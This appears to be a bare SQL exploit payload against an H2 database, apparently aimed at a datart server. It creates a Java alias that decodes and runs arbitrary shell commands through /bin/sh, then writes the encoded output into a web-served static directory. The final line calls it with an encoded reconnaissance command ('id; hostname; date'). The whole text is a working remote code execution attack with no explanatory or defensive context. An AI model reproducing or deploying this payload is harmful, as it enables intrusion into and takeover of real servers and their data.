CREATE ALIAS A801662364 AS 'String f(String b) throws Exception { byte[] d=java.util.Base64.getDecoder().decode(b); String c=new String(d); java.lang.ProcessBuilder pb=new java.lang.ProcessBuilder(new String[]{"/bin/sh","-c",c}); pb.redirectErrorStream(true); Process p=pb.start(); java.io.InputStream is=p.getInputStream(); java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream(); byte[] buf=new byte[8192]; int n; while((n=is.read(buf))>0){bos.write(buf,0,n);} p.waitFor(); String o=new String(bos.toByteArray()); java.io.FileOutputStream fo=new java.io.FileOutputStream("/home/datart/static/static/p1794308146801662364.txt"); fo.write(java.util.Base64.getEncoder().encode(o.getBytes())); fo.close(); return "1"; }';
CALL A801662364('aWQ7IGhvc3RuYW1lOyBkYXRl');